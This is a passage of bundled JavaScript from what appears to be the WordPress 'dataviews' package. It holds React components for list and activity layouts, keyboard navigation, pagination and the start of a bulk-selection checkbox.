4196 otherFields,
4197 onDropdownTriggerKeyDown,
4198 posinset
4199 }) {
4200 const {
4201 showTitle = true,
4202 showMedia = true,
4203 showDescription = true,
4204 infiniteScrollEnabled
4205 } = view;
4206 const itemRef = (0, import_element14.useRef)(null);
4207 const labelId = `${idPrefix}-label`;
4208 const descriptionId = `${idPrefix}-description`;
4209 const registry = (0, import_data3.useRegistry)();
4210 const [isHovered, setIsHovered] = (0, import_element14.useState)(false);
4211 const [activeModalAction, setActiveModalAction] = (0, import_element14.useState)(
4212 null
4213 );
4214 const handleHover = ({ type }) => {
4215 const isHover = type === "mouseenter";
4216 setIsHovered(isHover);
4217 };
4218 const { paginationInfo } = (0, import_element14.useContext)(dataviews_context_default);
4219 (0, import_element14.useEffect)(() => {
4220 if (isSelected2) {
4221 itemRef.current?.scrollIntoView({
4222 behavior: "auto",
4223 block: "nearest",
4224 inline: "nearest"
4225 });
4226 }
4227 }, [isSelected2]);
4228 const { primaryAction, eligibleActions } = (0, import_element14.useMemo)(() => {
4229 const _eligibleActions = actions.filter(
4230 (action) => !action.isEligible || action.isEligible(item)
4231 );
4232 const _primaryActions = _eligibleActions.filter(
4233 (action) => action.isPrimary
4234 );
4235 return {
4236 primaryAction: _primaryActions[0],
4237 eligibleActions: _eligibleActions
4238 };
4239 }, [actions, item]);
4240 const hasOnlyOnePrimaryAction = primaryAction && actions.length === 1;
4241 const renderedMediaField = showMedia && mediaField?.render ? /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("div", { className: "dataviews-view-list__media-wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4242 mediaField.render,
4243 {
4244 item,
4245 field: mediaField,
4246 config: { sizes: "52px" }
4247 }
4248 ) }) : null;
4249 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(titleField.render, { item, field: titleField }) : null;
4250 const usedActions = eligibleActions?.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(
4251 Stack,
4252 {
4253 direction: "row",
4254 gap: "md",
4255 className: "dataviews-view-list__item-actions",
4256 children: [
4257 primaryAction && /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4258 PrimaryActionGridCell,
4259 {
4260 idPrefix,
4261 primaryAction,
4262 item
4263 }
4264 ),
4265 !hasOnlyOnePrimaryAction && /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)("div", { role: "gridcell", children: [
4266 /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(Menu3, { placement: "bottom-end", children: [
4267 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4268 Menu3.TriggerButton,
4269 {
4270 render: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4271 import_components10.Composite.Item,
4272 {
4273 id: generateDropdownTriggerCompositeId(
4274 idPrefix
4275 ),
4276 render: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4277 import_components10.Button,
4278 {
4279 size: "small",
4280 icon: more_vertical_default,
4281 label: (0, import_i18n19.__)("Actions"),
4282 accessibleWhenDisabled: true,
4283 disabled: !actions.length,
4284 onKeyDown: onDropdownTriggerKeyDown
4285 }
4286 )
4287 }
4288 )
4289 }
4290 ),
4291 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(Menu3.Popover, { children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4292 ActionsMenuGroup,
4293 {
4294 actions: eligibleActions,
4295 item,
4296 registry,
4297 setActiveModalAction
4298 }
4299 ) })
4300 ] }),
4301 !!activeModalAction && /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4302 ActionModal,
4303 {
4304 action: activeModalAction,
4305 items: [item],
4306 closeModal: () => setActiveModalAction(null)
4307 }
4308 )
4309 ] })
4310 ]
4311 }
4312 );
4313 return /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4314 import_components10.Composite.Row,
4315 {
4316 ref: itemRef,
4317 render: (
4318 /* aria-posinset breaks Composite.Row if passed to it directly. */
4319 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4320 "div",
4321 {
4322 "aria-posinset": posinset,
4323 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0
4324 }
4325 )
4326 ),
4327 role: infiniteScrollEnabled ? "article" : "row",
4328 className: clsx_default({
4329 "is-selected": isSelected2,
4330 "is-hovered": isHovered
4331 }),
4332 onMouseEnter: handleHover,
4333 onMouseLeave: handleHover,
4334 children: /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(
4335 Stack,
4336 {
4337 direction: "row",
4338 className: "dataviews-view-list__item-wrapper",
4339 children: [
4340 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("div", { role: "gridcell", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4341 import_components10.Composite.Item,
4342 {
4343 id: generateItemWrapperCompositeId(idPrefix),
4344 "aria-pressed": isSelected2,
4345 "aria-labelledby": labelId,
4346 "aria-describedby": descriptionId,
4347 className: "dataviews-view-list__item",
4348 onClick: () => onSelect(item)
4349 }
4350 ) }),
4351 /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(
4352 Stack,
4353 {
4354 direction: "row",
4355 gap: "md",
4356 justify: "start",
4357 align: "flex-start",
4358 style: { flex: 1, minWidth: 0 },
4359 children: [
4360 renderedMediaField,
4361 /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(
4362 Stack,
4363 {
4364 direction: "column",
4365 gap: "xs",
4366 className: "dataviews-view-list__field-wrapper",
4367 children: [
4368 /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(Stack, { direction: "row", align: "center", children: [
4369 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4370 "div",
4371 {
4372 className: "dataviews-title-field dataviews-view-list__title-field",
4373 id: labelId,
4374 children: renderedTitleField
4375 }
4376 ),
4377 usedActions
4378 ] }),
4379 showDescription && descriptionField2?.render && /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("div", { className: "dataviews-view-list__field", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4380 descriptionField2.render,
4381 {
4382 item,
4383 field: descriptionField2
4384 }
4385 ) }),
4386 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4387 "div",
4388 {
4389 className: "dataviews-view-list__fields",
4390 id: descriptionId,
4391 children: otherFields.map((field) => /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(
4392 "div",
4393 {
4394 className: "dataviews-view-list__field",
4395 children: [
4396 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4397 import_components10.VisuallyHidden,
4398 {
4399 as: "span",
4400 className: "dataviews-view-list__field-label",
4401 children: field.label
4402 }
4403 ),
4404 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("span", { className: "dataviews-view-list__field-value", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4405 field.render,
4406 {
4407 item,
4408 field
4409 }
4410 ) })
4411 ]
4412 },
4413 field.id
4414 ))
4415 }
4416 )
4417 ]
4418 }
4419 )
4420 ]
4421 }
4422 )
4423 ]
4424 }
4425 )
4426 }
4427 );
4428 }
4429 function isDefined2(item) {
4430 return !!item;
4431 }
4432 function ViewList(props) {
4433 const {
4434 actions,
4435 data,
4436 fields,
4437 getItemId,
4438 isLoading,
4439 onChangeSelection,
4440 selection,
4441 view,
4442 className,
4443 empty
4444 } = props;
4445 const baseId = (0, import_compose5.useInstanceId)(ViewList, "view-list");
4446 const isDelayedLoading = useDelayedLoading(!!isLoading);
4447 const selectedItem = data?.findLast(
4448 (item) => selection.includes(getItemId(item))
4449 );
4450 const titleField = fields.find((field) => field.id === view.titleField);
4451 const mediaField = fields.find((field) => field.id === view.mediaField);
4452 const descriptionField2 = fields.find(
4453 (field) => field.id === view.descriptionField
4454 );
4455 const otherFields = (view?.fields ?? []).map((fieldId) => fields.find((f2) => fieldId === f2.id)).filter(isDefined2);
4456 const onSelect = (item) => onChangeSelection([getItemId(item)]);
4457 const generateCompositeItemIdPrefix = (0, import_element14.useCallback)(
4458 (item) => `${baseId}-${getItemId(item)}`,
4459 [baseId, getItemId]
4460 );
4461 const isActiveCompositeItem = (0, import_element14.useCallback)(
4462 (item, idToCheck) => {
4463 return idToCheck.startsWith(
4464 generateCompositeItemIdPrefix(item)
4465 );
4466 },
4467 [generateCompositeItemIdPrefix]
4468 );
4469 const [activeCompositeId, setActiveCompositeId] = (0, import_element14.useState)(void 0);
4470 (0, import_element14.useEffect)(() => {
4471 if (selectedItem) {
4472 setActiveCompositeId(
4473 generateItemWrapperCompositeId(
4474 generateCompositeItemIdPrefix(selectedItem)
4475 )
4476 );
4477 }
4478 }, [selectedItem, generateCompositeItemIdPrefix]);
4479 const activeItemIndex = data.findIndex(
4480 (item) => isActiveCompositeItem(item, activeCompositeId ?? "")
4481 );
4482 const previousActiveItemIndex = (0, import_compose5.usePrevious)(activeItemIndex);
4483 const isActiveIdInList = activeItemIndex !== -1;
4484 const selectCompositeItem = (0, import_element14.useCallback)(
4485 (targetIndex, generateCompositeId) => {
4486 const clampedIndex = Math.min(
4487 data.length - 1,
4488 Math.max(0, targetIndex)
4489 );
4490 if (!data[clampedIndex]) {
4491 return;
4492 }
4493 const itemIdPrefix = generateCompositeItemIdPrefix(
4494 data[clampedIndex]
4495 );
4496 const targetCompositeItemId = generateCompositeId(itemIdPrefix);
4497 setActiveCompositeId(targetCompositeItemId);
4498 document.getElementById(targetCompositeItemId)?.focus();
4499 },
4500 [data, generateCompositeItemIdPrefix]
4501 );
4502 (0, import_element14.useEffect)(() => {
4503 const wasActiveIdInList = previousActiveItemIndex !== void 0 && previousActiveItemIndex !== -1;
4504 if (!isActiveIdInList && wasActiveIdInList) {
4505 selectCompositeItem(
4506 previousActiveItemIndex,
4507 generateItemWrapperCompositeId
4508 );
4509 }
4510 }, [isActiveIdInList, selectCompositeItem, previousActiveItemIndex]);
4511 const onDropdownTriggerKeyDown = (0, import_element14.useCallback)(
4512 (event) => {
4513 if (event.key === "ArrowDown") {
4514 event.preventDefault();
4515 selectCompositeItem(
4516 activeItemIndex + 1,
4517 generateDropdownTriggerCompositeId
4518 );
4519 }
4520 if (event.key === "ArrowUp") {
4521 event.preventDefault();
4522 selectCompositeItem(
4523 activeItemIndex - 1,
4524 generateDropdownTriggerCompositeId
4525 );
4526 }
4527 },
4528 [selectCompositeItem, activeItemIndex]
4529 );
4530 const hasData = !!data?.length;
4531 const groupField = view.groupBy?.field ? fields.find((field) => field.id === view.groupBy?.field) : null;
4532 const dataByGroup = hasData && groupField ? getDataByGroup(data, groupField) : null;
4533 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
4534 if (!hasData) {
4535 return /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4536 "div",
4537 {
4538 className: clsx_default("dataviews-no-results", {
4539 "is-refreshing": isDelayedLoading
4540 }),
4541 children: empty
4542 }
4543 );
4544 }
4545 if (hasData && groupField && dataByGroup) {
4546 return /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4547 import_components10.Composite,
4548 {
4549 id: `${baseId}`,
4550 render: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("div", {}),
4551 className: "dataviews-view-list__group",
4552 role: "grid",
4553 activeId: activeCompositeId,
4554 setActiveId: setActiveCompositeId,
4555 children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4556 Stack,
4557 {
4558 direction: "column",
4559 gap: "lg",
4560 className: clsx_default("dataviews-view-list", className),
4561 children: Array.from(dataByGroup.entries()).map(
4562 ([groupName, groupItems]) => /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(
4563 Stack,
4564 {
4565 direction: "column",
4566 gap: "sm",
4567 children: [
4568 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("h3", { className: "dataviews-view-list__group-header", children: view.groupBy?.showLabel === false ? groupName : (0, import_i18n19.sprintf)(
4569 // translators: 1: The label of the field e.g. "Date". 2: The value of the field, e.g.: "May 2022".
4570 (0, import_i18n19.__)("%1$s: %2$s"),
4571 groupField.label,
4572 groupName
4573 ) }),
4574 groupItems.map((item) => {
4575 const id = generateCompositeItemIdPrefix(item);
4576 return /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4577 ListItem,
4578 {
4579 view,
4580 idPrefix: id,
4581 actions,
4582 item,
4583 isSelected: item === selectedItem,
4584 onSelect,
4585 mediaField,
4586 titleField,
4587 descriptionField: descriptionField2,
4588 otherFields,
4589 onDropdownTriggerKeyDown
4590 },
4591 id
4592 );
4593 })
4594 ]
4595 },
4596 groupName
4597 )
4598 )
4599 }
4600 )
4601 }
4602 );
4603 }
4604 return /* @__PURE__ */ (0, import_jsx_runtime41.jsxs)(import_jsx_runtime41.Fragment, { children: [
4605 /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4606 import_components10.Composite,
4607 {
4608 id: baseId,
4609 render: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("div", {}),
4610 className: clsx_default("dataviews-view-list", className, {
4611 [`has-${view.layout?.density}-density`]: view.layout?.density && ["compact", "comfortable"].includes(
4612 view.layout.density
4613 ),
4614 "is-refreshing": !isInfiniteScroll && isDelayedLoading
4615 }),
4616 role: view.infiniteScrollEnabled ? "feed" : "grid",
4617 activeId: activeCompositeId,
4618 setActiveId: setActiveCompositeId,
4619 inert: !isInfiniteScroll && !!isLoading ? "true" : void 0,
4620 children: data.map((item, index) => {
4621 const id = generateCompositeItemIdPrefix(item);
4622 return /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(
4623 ListItem,
4624 {
4625 view,
4626 idPrefix: id,
4627 actions,
4628 item,
4629 isSelected: item === selectedItem,
4630 onSelect,
4631 mediaField,
4632 titleField,
4633 descriptionField: descriptionField2,
4634 otherFields,
4635 onDropdownTriggerKeyDown,
4636 posinset: view.infiniteScrollEnabled ? index + 1 : void 0
4637 },
4638 id
4639 );
4640 })
4641 }
4642 ),
4643 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime41.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(import_components10.Spinner, {}) })
4644 ] });
4645 }
4646
4647 // packages/dataviews/build-module/components/dataviews-layouts/activity/index.mjs
4648 var import_components12 = __toESM(require_components(), 1);
4649
4650 // packages/dataviews/build-module/components/dataviews-layouts/activity/activity-group.mjs
4651 var import_i18n20 = __toESM(require_i18n(), 1);
4652 var import_element15 = __toESM(require_element(), 1);
4653 var import_jsx_runtime42 = __toESM(require_jsx_runtime(), 1);
4654 function ActivityGroup({
4655 groupName,
4656 groupData,
4657 groupField,
4658 showLabel = true,
4659 children
4660 }) {
4661 const groupHeader = showLabel ? (0, import_element15.createInterpolateElement)(
4662 // translators: %s: The label of the field e.g. "Status".
4663 (0, import_i18n20.sprintf)((0, import_i18n20.__)("%s: <groupName />"), groupField.label).trim(),
4664 {
4665 groupName: /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(
4666 groupField.render,
4667 {
4668 item: groupData[0],
4669 field: groupField
4670 }
4671 )
4672 }
4673 ) : /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(groupField.render, { item: groupData[0], field: groupField });
4674 return /* @__PURE__ */ (0, import_jsx_runtime42.jsxs)(
4675 Stack,
4676 {
4677 direction: "column",
4678 className: "dataviews-view-activity__group",
4679 children: [
4680 /* @__PURE__ */ (0, import_jsx_runtime42.jsx)("h3", { className: "dataviews-view-activity__group-header", children: groupHeader }),
4681 children
4682 ]
4683 },
4684 groupName
4685 );
4686 }
4687
4688 // packages/dataviews/build-module/components/dataviews-layouts/activity/activity-item.mjs
4689 var import_components11 = __toESM(require_components(), 1);
4690 var import_element16 = __toESM(require_element(), 1);
4691 var import_data4 = __toESM(require_data(), 1);
4692 var import_compose6 = __toESM(require_compose(), 1);
4693 var import_jsx_runtime43 = __toESM(require_jsx_runtime(), 1);
4694 function ActivityItem(props) {
4695 const {
4696 view,
4697 actions,
4698 item,
4699 titleField,
4700 mediaField,
4701 descriptionField: descriptionField2,
4702 otherFields,
4703 posinset,
4704 onClickItem,
4705 renderItemLink,
4706 isItemClickable: isItemClickable2
4707 } = props;
4708 const {
4709 showTitle = true,
4710 showMedia = true,
4711 showDescription = true,
4712 infiniteScrollEnabled
4713 } = view;
4714 const itemRef = (0, import_element16.useRef)(null);
4715 const registry = (0, import_data4.useRegistry)();
4716 const { paginationInfo } = (0, import_element16.useContext)(dataviews_context_default);
4717 const { primaryActions, eligibleActions } = (0, import_element16.useMemo)(() => {
4718 const _eligibleActions = actions.filter(
4719 (action) => !action.isEligible || action.isEligible(item)
4720 );
4721 const _primaryActions = _eligibleActions.filter(
4722 (action) => action.isPrimary
4723 );
4724 return {
4725 primaryActions: _primaryActions,
4726 eligibleActions: _eligibleActions
4727 };
4728 }, [actions, item]);
4729 const isMobileViewport = (0, import_compose6.useViewportMatch)("medium", "<");
4730 const density = view.layout?.density ?? "balanced";
4731 const mediaContent = showMedia && density !== "compact" && mediaField?.render ? /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4732 mediaField.render,
4733 {
4734 item,
4735 field: mediaField,
4736 config: {
4737 sizes: density === "comfortable" ? "32px" : "24px"
4738 }
4739 }
4740 ) : null;
4741 const renderedMediaField = /* @__PURE__ */ (0, import_jsx_runtime43.jsx)("div", { className: "dataviews-view-activity__item-type-icon", children: mediaContent || /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4742 "span",
4743 {
4744 className: "dataviews-view-activity__item-bullet",
4745 "aria-hidden": "true"
4746 }
4747 ) });
4748 const renderedTitleField = showTitle && titleField?.render ? /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(titleField.render, { item, field: titleField }) : null;
4749 const verticalGap = (0, import_element16.useMemo)(() => {
4750 switch (density) {
4751 case "comfortable":
4752 return "md";
4753 default:
4754 return "sm";
4755 }
4756 }, [density]);
4757 return /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4758 "div",
4759 {
4760 ref: itemRef,
4761 role: infiniteScrollEnabled ? "article" : void 0,
4762 "aria-posinset": posinset,
4763 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0,
4764 className: clsx_default(
4765 "dataviews-view-activity__item",
4766 density === "compact" && "is-compact",
4767 density === "balanced" && "is-balanced",
4768 density === "comfortable" && "is-comfortable"
4769 ),
4770 children: /* @__PURE__ */ (0, import_jsx_runtime43.jsxs)(Stack, { direction: "row", gap: "lg", justify: "start", align: "flex-start", children: [
4771 /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4772 Stack,
4773 {
4774 direction: "column",
4775 gap: "xs",
4776 align: "center",
4777 className: "dataviews-view-activity__item-type",
4778 children: renderedMediaField
4779 }
4780 ),
4781 /* @__PURE__ */ (0, import_jsx_runtime43.jsxs)(
4782 Stack,
4783 {
4784 direction: "column",
4785 gap: verticalGap,
4786 align: "flex-start",
4787 className: "dataviews-view-activity__item-content",
4788 children: [
4789 renderedTitleField && /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4790 ItemClickWrapper,
4791 {
4792 item,
4793 isItemClickable: isItemClickable2,
4794 onClickItem,
4795 renderItemLink,
4796 className: "dataviews-view-activity__item-title",
4797 children: renderedTitleField
4798 }
4799 ),
4800 showDescription && descriptionField2 && /* @__PURE__ */ (0, import_jsx_runtime43.jsx)("div", { className: "dataviews-view-activity__item-description", children: /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4801 descriptionField2.render,
4802 {
4803 item,
4804 field: descriptionField2
4805 }
4806 ) }),
4807 /* @__PURE__ */ (0, import_jsx_runtime43.jsx)("div", { className: "dataviews-view-activity__item-fields", children: otherFields.map((field) => /* @__PURE__ */ (0, import_jsx_runtime43.jsxs)(
4808 "div",
4809 {
4810 className: "dataviews-view-activity__item-field",
4811 children: [
4812 /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4813 import_components11.VisuallyHidden,
4814 {
4815 as: "span",
4816 className: "dataviews-view-activity__item-field-label",
4817 children: field.label
4818 }
4819 ),
4820 /* @__PURE__ */ (0, import_jsx_runtime43.jsx)("span", { className: "dataviews-view-activity__item-field-value", children: /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4821 field.render,
4822 {
4823 item,
4824 field
4825 }
4826 ) })
4827 ]
4828 },
4829 field.id
4830 )) }),
4831 !!primaryActions?.length && /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4832 PrimaryActions,
4833 {
4834 item,
4835 actions: primaryActions,
4836 registry,
4837 buttonVariant: "secondary"
4838 }
4839 )
4840 ]
4841 }
4842 ),
4843 (primaryActions.length < eligibleActions.length || // Since we hide primary actions on mobile, we need to show the menu
4844 // there if there are any actions at all.
4845 isMobileViewport && // At the same time, only show the menu if there are actions to show.
4846 eligibleActions.length > 0) && /* @__PURE__ */ (0, import_jsx_runtime43.jsx)("div", { className: "dataviews-view-activity__item-actions", children: /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(
4847 ItemActions,
4848 {
4849 item,
4850 actions: eligibleActions,
4851 isCompact: true
4852 }
4853 ) })
4854 ] })
4855 }
4856 );
4857 }
4858 var activity_item_default = ActivityItem;
4859
4860 // packages/dataviews/build-module/components/dataviews-layouts/activity/activity-items.mjs
4861 var import_react3 = __toESM(require_react(), 1);
4862 function isDefined3(item) {
4863 return !!item;
4864 }
4865 function ActivityItems(props) {
4866 const { data, fields, getItemId, view } = props;
4867 const titleField = fields.find((field) => field.id === view.titleField);
4868 const mediaField = fields.find((field) => field.id === view.mediaField);
4869 const descriptionField2 = fields.find(
4870 (field) => field.id === view.descriptionField
4871 );
4872 const otherFields = (view?.fields ?? []).map((fieldId) => fields.find((f2) => fieldId === f2.id)).filter(isDefined3);
4873 return data.map((item, index) => {
4874 return /* @__PURE__ */ (0, import_react3.createElement)(
4875 activity_item_default,
4876 {
4877 ...props,
4878 key: getItemId(item),
4879 item,
4880 mediaField,
4881 titleField,
4882 descriptionField: descriptionField2,
4883 otherFields,
4884 posinset: view.infiniteScrollEnabled ? index + 1 : void 0
4885 }
4886 );
4887 });
4888 }
4889
4890 // packages/dataviews/build-module/components/dataviews-layouts/activity/index.mjs
4891 var import_jsx_runtime44 = __toESM(require_jsx_runtime(), 1);
4892 function ViewActivity(props) {
4893 const { empty, data, fields, isLoading, view, className } = props;
4894 const isDelayedLoading = useDelayedLoading(!!isLoading);
4895 const hasData = !!data?.length;
4896 const groupField = view.groupBy?.field ? fields.find((field) => field.id === view.groupBy?.field) : null;
4897 const dataByGroup = hasData && groupField ? getDataByGroup(data, groupField) : null;
4898 const isInfiniteScroll = view.infiniteScrollEnabled && !dataByGroup;
4899 if (!hasData) {
4900 return /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(
4901 "div",
4902 {
4903 className: clsx_default("dataviews-no-results", {
4904 "is-refreshing": isDelayedLoading
4905 }),
4906 children: empty
4907 }
4908 );
4909 }
4910 const isInert = !isInfiniteScroll && !!isLoading;
4911 const wrapperClassName = clsx_default("dataviews-view-activity", className, {
4912 "is-refreshing": !isInfiniteScroll && isDelayedLoading
4913 });
4914 const groupedEntries = dataByGroup ? Array.from(dataByGroup.entries()) : [];
4915 if (hasData && groupField && dataByGroup) {
4916 return /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(
4917 Stack,
4918 {
4919 direction: "column",
4920 gap: "sm",
4921 className: wrapperClassName,
4922 inert: isInert ? "true" : void 0,
4923 children: groupedEntries.map(
4924 ([groupName, groupData]) => /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(
4925 ActivityGroup,
4926 {
4927 groupName,
4928 groupData,
4929 groupField,
4930 showLabel: view.groupBy?.showLabel !== false,
4931 children: /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(
4932 ActivityItems,
4933 {
4934 ...props,
4935 data: groupData
4936 }
4937 )
4938 },
4939 groupName
4940 )
4941 )
4942 }
4943 );
4944 }
4945 return /* @__PURE__ */ (0, import_jsx_runtime44.jsxs)(import_jsx_runtime44.Fragment, { children: [
4946 /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(
4947 "div",
4948 {
4949 className: wrapperClassName,
4950 role: view.infiniteScrollEnabled ? "feed" : void 0,
4951 inert: isInert ? "true" : void 0,
4952 children: /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(ActivityItems, { ...props })
4953 }
4954 ),
4955 isInfiniteScroll && isLoading && /* @__PURE__ */ (0, import_jsx_runtime44.jsx)("p", { className: "dataviews-loading-more", children: /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(import_components12.Spinner, {}) })
4956 ] });
4957 }
4958
4959 // packages/dataviews/build-module/components/dataviews-layouts/picker-grid/index.mjs
4960 var import_components15 = __toESM(require_components(), 1);
4961 var import_i18n23 = __toESM(require_i18n(), 1);
4962 var import_compose7 = __toESM(require_compose(), 1);
4963 var import_element20 = __toESM(require_element(), 1);
4964
4965 // packages/dataviews/build-module/components/dataviews-picker-footer/index.mjs
4966 var import_components14 = __toESM(require_components(), 1);
4967 var import_data5 = __toESM(require_data(), 1);
4968 var import_element18 = __toESM(require_element(), 1);
4969 var import_i18n22 = __toESM(require_i18n(), 1);
4970
4971 // packages/dataviews/build-module/components/dataviews-pagination/index.mjs
4972 var import_components13 = __toESM(require_components(), 1);
4973 var import_element17 = __toESM(require_element(), 1);
4974 var import_i18n21 = __toESM(require_i18n(), 1);
4975 var import_jsx_runtime45 = __toESM(require_jsx_runtime(), 1);
4976 function DataViewsPagination() {
4977 const {
4978 view,
4979 onChangeView,
4980 paginationInfo: { totalItems = 0, totalPages }
4981 } = (0, import_element17.useContext)(dataviews_context_default);
4982 if (!totalItems || !totalPages || view.infiniteScrollEnabled) {
4983 return null;
4984 }
4985 const currentPage = view.page ?? 1;
4986 const pageSelectOptions = Array.from(Array(totalPages)).map(
4987 (_, i2) => {
4988 const page = i2 + 1;
4989 return {
4990 value: page.toString(),
4991 label: page.toString(),
4992 "aria-label": currentPage === page ? (0, import_i18n21.sprintf)(
4993 // translators: 1: current page number. 2: total number of pages.
4994 (0, import_i18n21.__)("Page %1$d of %2$d"),
4995 currentPage,
4996 totalPages
4997 ) : page.toString()
4998 };
4999 }
5000 );
5001 return !!totalItems && totalPages !== 1 && /* @__PURE__ */ (0, import_jsx_runtime45.jsxs)(
5002 Stack,
5003 {
5004 direction: "row",
5005 className: "dataviews-pagination",
5006 justify: "end",
5007 align: "center",
5008 gap: "xl",
5009 children: [
5010 /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(
5011 Stack,
5012 {
5013 direction: "row",
5014 justify: "flex-start",
5015 align: "center",
5016 gap: "xs",
5017 className: "dataviews-pagination__page-select",
5018 children: (0, import_element17.createInterpolateElement)(
5019 (0, import_i18n21.sprintf)(
5020 // translators: 1: Current page number, 2: Total number of pages.
5021 (0, import_i18n21._x)(
5022 "<div>Page</div>%1$s<div>of %2$d</div>",
5023 "paging"
5024 ),
5025 "<CurrentPage />",
5026 totalPages
5027 ),
5028 {
5029 div: /* @__PURE__ */ (0, import_jsx_runtime45.jsx)("div", { "aria-hidden": true }),
5030 CurrentPage: /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(
5031 import_components13.SelectControl,
5032 {
5033 "aria-label": (0, import_i18n21.__)("Current page"),
5034 value: currentPage.toString(),
5035 options: pageSelectOptions,
5036 onChange: (newValue) => {
5037 onChangeView({
5038 ...view,
5039 page: +newValue
5040 });
5041 },
5042 size: "small",
5043 variant: "minimal"
5044 }
5045 )
5046 }
5047 )
5048 }
5049 ),
5050 /* @__PURE__ */ (0, import_jsx_runtime45.jsxs)(Stack, { direction: "row", gap: "xs", align: "center", children: [
5051 /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(
5052 import_components13.Button,
5053 {
5054 onClick: () => onChangeView({
5055 ...view,
5056 page: currentPage - 1
5057 }),
5058 disabled: currentPage === 1,
5059 accessibleWhenDisabled: true,
5060 label: (0, import_i18n21.__)("Previous page"),
5061 icon: (0, import_i18n21.isRTL)() ? next_default : previous_default,
5062 showTooltip: true,
5063 size: "compact",
5064 tooltipPosition: "top"
5065 }
5066 ),
5067 /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(
5068 import_components13.Button,
5069 {
5070 onClick: () => onChangeView({ ...view, page: currentPage + 1 }),
5071 disabled: currentPage >= totalPages,
5072 accessibleWhenDisabled: true,
5073 label: (0, import_i18n21.__)("Next page"),
5074 icon: (0, import_i18n21.isRTL)() ? previous_default : next_default,
5075 showTooltip: true,
5076 size: "compact",
5077 tooltipPosition: "top"
5078 }
5079 )
5080 ] })
5081 ]
5082 }
5083 );
5084 }
5085 var dataviews_pagination_default = (0, import_element17.memo)(DataViewsPagination);
5086
5087 // packages/dataviews/build-module/components/dataviews-picker-footer/index.mjs
5088 var import_jsx_runtime46 = __toESM(require_jsx_runtime(), 1);
5089 var EMPTY_ARRAY2 = [];
5090 function useIsMultiselectPicker(actions) {
5091 return (0, import_element18.useMemo)(() => {
5092 return actions?.every((action) => action.supportsBulk);
5093 }, [actions]);
5094 }
5095 function BulkSelectionCheckbox2({
5096 selection,
5097 selectedItems,
5098 onChangeSelection,
5099 data,
5100 getItemId
5101 }) {
5102 const areAllSelected = selectedItems.length === data.length;
5103 return /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(
5104 import_components14.CheckboxControl,
5105 {
5106 className: "dataviews-view-table-selection-checkbox",
5107 checked: areAllSelected,
5108 indeterminate: !areAllSelected && !!selectedItems.length,
5109 onChange: () => {
5110 if (areAllSelected) {
5111 onChangeSelection(
5112 selection.filter(
5113 (id) => !data.some(
5114 (item) => id === getItemId(item)
5115 )
5116 )
5117 );
5118 } else {
